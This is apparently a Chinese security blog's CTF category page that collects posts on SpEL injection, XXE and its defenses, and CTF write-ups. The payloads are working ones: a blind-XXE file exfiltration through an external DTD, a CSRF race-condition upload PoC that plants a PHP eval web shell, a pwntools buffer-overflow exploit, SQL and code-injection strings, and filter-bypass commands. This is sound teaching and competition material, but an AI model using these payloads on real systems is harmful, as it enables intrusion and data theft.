分类: CTF

由浅入深SpEL表达式注入漏洞

SpEL介绍

认识SpEL

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。除此以外SpEL还能做的有很多,从官方文档中我们可以看到,SpEL支持以下功能。

  • Literal expressions
  • Boolean and relational operators
  • Regular expressions
  • Class expressions
  • Accessing properties, arrays, lists, maps
  • Method invocation
  • Relational operators
  • Assignment
  • Calling constructors
  • Bean references
  • Array construction
  • Inline lists
  • Ternary operator
  • Variables
  • User defined functions
  • Collection projection
  • Collection selection
  • Templated expressions

继续阅读 由浅入深SpEL表达式注入漏洞

XXE漏洞原理以及防御方式

前言

web中除了我们熟悉的传参,或者JSON格式实现客户端与服务器之间的数据交流,还有XML的方式,熟悉开发的小伙伴肯定接触过它,比如在SpringMVC中的各种配置。同时XML也是许多使用XML schemas实行数据交换的协议的基础,例如RSS,Atom,SOAP等。
那么在web中使用XML进行数据交互会出现什么安全问题呢,这就是我们这里要讲的XXE漏洞。

XXE漏洞介绍

XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网。

相关概念以及利用方式

DTD

DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。
引用方式:

  1. DTD 内部声明
    <!DOCTYPE 根元素 [元素声明]>

  2. DTD 外部引用
    <!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>

  3. 引用公共DTD
    <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

ENTITY

XML中的实体类型,一般有下面几种:命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。
1.内部实体
一般用于变量声明
<!ENTITY 实体名称 "实体的值">
如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "Hello">
    <!ENTITY y "World!">
]>
<root><x>&x;</x><y>&y;</y></root>

屏幕快照 2018-10-09 下午5.49.34

2.外部普通实体
一般用于加载外部文件,不同程序支持的协议不一样。这里我们就可以利用不同协议来达到任意文件读取/内网探测等。
屏幕快照 2018-10-09 下午5.51.39

<!ENTITY 实体名称 SYSTEM "URI/URL">
如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "First Param!">
    <!ENTITY y "Second Param!">
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><x>&x;</x><y>&y;</y><xxe>&xxe;</xxe></root>

屏幕快照 2018-10-09 下午6.00.55

3.外部参数实体
参数实体用于DTD和文档的内部子集中。与一般实体不同,是以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。除了可以完成有回显的情况。这里还可以用于Blind XXE攻击。
<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">
如(Blind XXE):
由于语法限制所以我们需要在外部DTD中接受对应参数

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///Users/ruilin/test/flag">
    <!ENTITY % dtd SYSTEM "http://blog.rui0.cn/test/evil.dtd">
    %dtd;
    %send;
]>

evil.dtd 内部的%号要进行实体编码成&#x25
(这里的http://127.0.0.1:8888大家可以理解为自己VPS,我这里为了方便直接使用本机接收读取内容)

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8888/?file=%file;'>"
>
%all;

屏幕快照 2018-10-09 下午7.06.04

XXE漏洞防御

JAVA中解析XML常见的几个库有DOM、DOM4J、JDOM 和SAX

1.setFeature
feature表示解析器的功能,通过设置feature,我们可以控制解析器的行为。

// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体POC
setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体POC

最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。
修复代码如:

public String xxe_SAXParser_fix(HttpServletRequest request) {
        try {
            String xml_con = getBody(request);
            System.out.println(xml_con);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler());  // parse xml
            return "test";
        } catch (Exception e) {
            System.out.println(e);
            return "except";
        }
    }

2.检测/过滤关键词
常见的可以过滤ENTITY,openrasp采用的方式为检测敏感协议和读取的敏感文件。但都存在被绕过的风险。

参考

https://xz.aliyun.com/t/2761
http://www.freebuf.com/column/156863.html
https://resources.infosecinstitute.com/xxe-attacks/
http://skysec.top/2018/08/17/浅析xml及其安全问题/
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://github.com/JoyChou93/java-sec-code

安恒杯一月赛部分题目writeup

首先感谢下安恒举办的比赛,还有大神们的讲解,学习了


再来个友情链接

发现.git泄漏,拿到源码

发现上传文件,代码审计

if(!isset($_SESSION['user']) || $_SESSION['user'] != USERNAME){
	die('Access Denied');
}
...
...
$ext = getExt($_FILES['file']['name']);
	$filename = './upload/temp/'.$flid.$ext;
	$dst = './upload/images/'.$flid.'.jpg';
	move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
	if(file_exists($filename)){
		try {
			if(file_exists($dst))
				@unlink($dst);
			resizeimg($filename, $dst, 100, 50);
		}catch(Exception $e){
			echo 'Caught exception: ',  $e->getMessage(), "\n";
		}
	}

发现upload.php里面的条件竞争漏洞,先上传文件再删除文件。但是程序开头会检查权限,需要登录后才能操作。因此解题思路为结合CSRF+条件竞争。

因为程序添加友情链接时候会先去访问这个文件

所以我们可以写个自动上传文件的js,利用csrf去上传绕过user判断,然后利用时间差,在还没删除temp文件时快速去访问/temp上传成功的php,并自动创建一个一句话shell

poc:

<html>
    <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://http://192.168.5.76/upload.php?"+Math.random(), true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en,zh-CN;q=0.9,zh;q=0.8");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryfJEbEkHoV22zBdaM");
        xhr.withCredentials = "true";
        var body = "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"321.php\"\r\n" +
          "Content-Type: application/x-php\r\n" +
          "\r\n" +
          "<?php file_put_contents('abc.php', '<?php eval($_GET[a]);?>');?>\r\n" +
          "\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"flid\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"submit\"\r\n" +
          "\r\n" +
          "上传\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
<script>
	var html = '';
	for(var k=0; k<1000; k++){
		html = html + '<script>submitRequest();<\/script>';
	}
	document.write(html);
</script>
  </body>
</html>

继续阅读 安恒杯一月赛部分题目writeup

pwnable入门题笔记

fd

ssh连上

找到fd的源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[])
{
    if(argc<2)
    {
        printf("pass argv[1] a number\n");
         
        return 0;
     
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);if(!strcmp("LETMEWIN\n", buf))
    {
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;
}

首先,程序接收一个参数argv[1],转换为整数型之后减0x1234 ,读入buf ,比较是否与LETMEWIN相同,如果相同则get flag

 

read函数

ssize_t read(int fd,void * buf ,size_t count);

read()会把参数fd所指的文件传送nbyte个字节到buf指针所指的内存中。若参数nbyte为0,则read()不会有作用并返回0。返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或无可读取的数据。错误返回-1,并将根据不同的错误原因适当的设置错误码。

linux文件描述符

Integer value <stdio.h> file stream
0 stdin
1 stdout
2 stderr

也就是我们可以令fd=0 使得标准输入,buf的值就可以键入了

又因为

int fd = atoi( argv[1] ) - 0x1234;

所以我们令fd=0x1234的10进制4660然后键入LETMEWIN

 

collision

先看代码

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

分析源码,首先输入长度为20的字符然后与关键函数check_password比较

unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

p强制转化为指针,32位下指针一般与char的大小相同,所以相当于分成5组(char1个字节,int4个字节

然后把每四个字符看成一共int型的数字,进行5次循环相加,结果放入res中

最后符合hashcode = 0x21DD09EC; 拆分一下符合20长度限制,如下

>>> hex(0x21dd09ec-0x01010101*4)
'0x1dd905e8'

注意下是小端模式

./col $(python -c "print'\xE8\x05\xD9\x1D'+'\x01'*16")

 

bof

给的源码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key)
{
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe)
    {
        system("/bin/sh");
    }
    else
    {
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[])
{
    func(0xdeadbeef);
    return 0;
}

key == 0xcafebabe 即可拿到shell但实际传的key为0xdeadbeef

又看到gets 可以溢出

IDA打开编译好的c

发现char s //[sp + 1Ch] [bp – 2Ch]说明,这个字符串s 是从[bp – 2Ch]处开始进入栈缓冲区的,所以我们只要覆盖2C字节,再加上EBP和EIP的8个字节,总共52个字节就可以成功覆盖第一个变量,也就是func里面的参数覆盖为0xcafebabe

这里盗个图方便理解

所以EXP为

from pwn import *
p = remote('pwnable.kr',9000)
p.send('A'*52+'\xbe\xba\xfe\xca')
p.interactive()

拿到flag

百度杯ctf二月场几道web题 writeup

include

比较经典的文件包含题,记录一下

首先看phpinfo里allow_url_include为On

所以可以使用php://input包含执行命令

<?php system(ls);?>

 

 

关键文件在dle345aae.php

配合

php://filter/convert.base64-encode/resource=dle345aae.php

读取源码

<?php 
$flag="flag{3da178f7-c351-4acc-b6c1-0b0719f4ec9e}";

爆破1

这里用到PHP超全局变量

$GLOBALS — 引用全局作用域中可用的全部变量

$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。

PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。

 

payload:

http://4687f7fdd5d64157a0dea153446a49728bbc8a7ce1bd49c6.game.ichunqiu.com/?hello=GLOBALS

 

爆破2

代码注入一下就ok

?hello=);system(ls);//

看来只有flag.php

然后我们直接输出源码就行

比较坑的是i春秋带了waf…我们改成post再传个值绕过

水过..

程序逻辑问题 writeup

最近准备刷一下实验吧的题,抽空做个小记录

题目连接:http://ctf5.shiyanbar.com/web/5/index.php


题目就是登陆成功用户后获得flag

首先获得php源码

<html>
<head>
welcome to simplexue
</head>
<body>
<?php


if($_POST[user] && $_POST[pass]) {
	$conn = mysql_connect("********, "*****", "********");
	mysql_select_db("phpformysql") or die("Could not select database");
	if ($conn->connect_error) {
		die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
	printf("Error: %s\n", mysql_error($conn));
	exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
	echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
	
  }
  
  
}

?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

其中

$sql = "select pw from php where user='$user'";

显然可以注入

接着往下看

$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
	echo "<p>Logged in! Key:************** </p>";
}

这里把sql语句执行得到的数据放到row 并且判断其中的pw是否与输入的md5($_POST[pass]);相等

因为这里把用户和密码的判断分开 所以我们没法按常规注释掉密码的sql判断

但是因为row的数组结果是之前$sql的语句,所以我们其实可以通过sql注入生成一个密码来绕过

那就好办了,首先先试出来用户名为username

接下来构造sql语句

username' union select md5(123)#

密码处填写123 成功拿到flag

ereg函数截断

题目链接:http://ctf5.shiyanbar.com/web/more.php

View the source code:

<?php
if (isset ($_GET['password'])) {
	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
	{
		echo '<p>You password must be alphanumeric</p>';
	}
	else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
	{
		if (strpos ($_GET['password'], '*-*') !== FALSE)
		{
			die('Flag: ' . $flag);
		}
		else
		{
			echo('<p>*-* have not been found</p>');
		}
	}
	else
	{
		echo '<p>Invalid password</p>';
	}
}
?>
  1. 绕过ereg匹配正则 符合strpos
  2. password> 9999999 && len<8

 

ereg函数存在NULL截断漏洞,可以%00截断,则不会读取后面的内容,可以绕过输入*-*

大小和长度限制可以利用科学计数法

 

最后的payload

http://ctf5.shiyanbar.com/web/more.php?password=1e8%00*-*

1e8即100000000 > 9999999

%00在计算长度时算一个字节

压缩包文件损坏类型题

一般是缺少文件头,也有情况缺少头和尾…

zip的数据信息:

压缩源文件数据区 
50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本 
00 00:全局方式位标记(有无加密) 
08 00:压缩方式 
5A 7E:最后修改文件时间 
F7 46:最后修改文件日期 
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度 
00 00:扩展记录长度 
6B65792E7478740BCECC750E71ABCE48CDC9C95728CECC2DC849AD284DAD0500 
压缩源文件目录区 
50 4B 01 02:目录中文件文件头标记(0x02014b50) 
3F 00:压缩使用的 pkware 版本 
14 00:解压文件所需 pkware 版本 
00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了) 
08 00:压缩方式 
5A 7E:最后修改文件时间 
F7 46:最后修改文件日期 
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度 
24 00:扩展字段长度 
00 00:文件注释长度 
00 00:磁盘开始号 
00 00:内部文件属性 
20 00 00 00:外部文件属性 
00 00 00 00:局部头部偏移量 
6B65792E7478740A00200000000000010018006558F04A1CC5D001BDEBDD3B1CC5D001BDEBDD3B1CC5D001 
压缩源文件目录结束标志 
50 4B 05 06:目录结束标记 
00 00:当前磁盘编号 
00 00:目录区开始磁盘编号 
01 00:本磁盘上纪录总数 
01 00:目录区中纪录总数 
59 00 00 00:目录区尺寸大小 
3E 00 00 00:目录区对第一张磁盘的偏移量 
00 00:ZIP 文件注释长度

 

tac…

水一贴

做了个题才知道linux下不光有cat 还有个tac…就是相当于cat内容反向输出(..怪自己没好好看命令…..) ..如果有web题可以命令执行的时候可以用来绕过

比如

http://abc.com/?xxx=system(%22cat%20aaa.php%22);

可以

http://abc.com/?xxx=system(%22tac%09aaa.php%22);

里面空格也可以用tab的url编码替换–>%09

因为linux下好几个空格和一个空格效果一样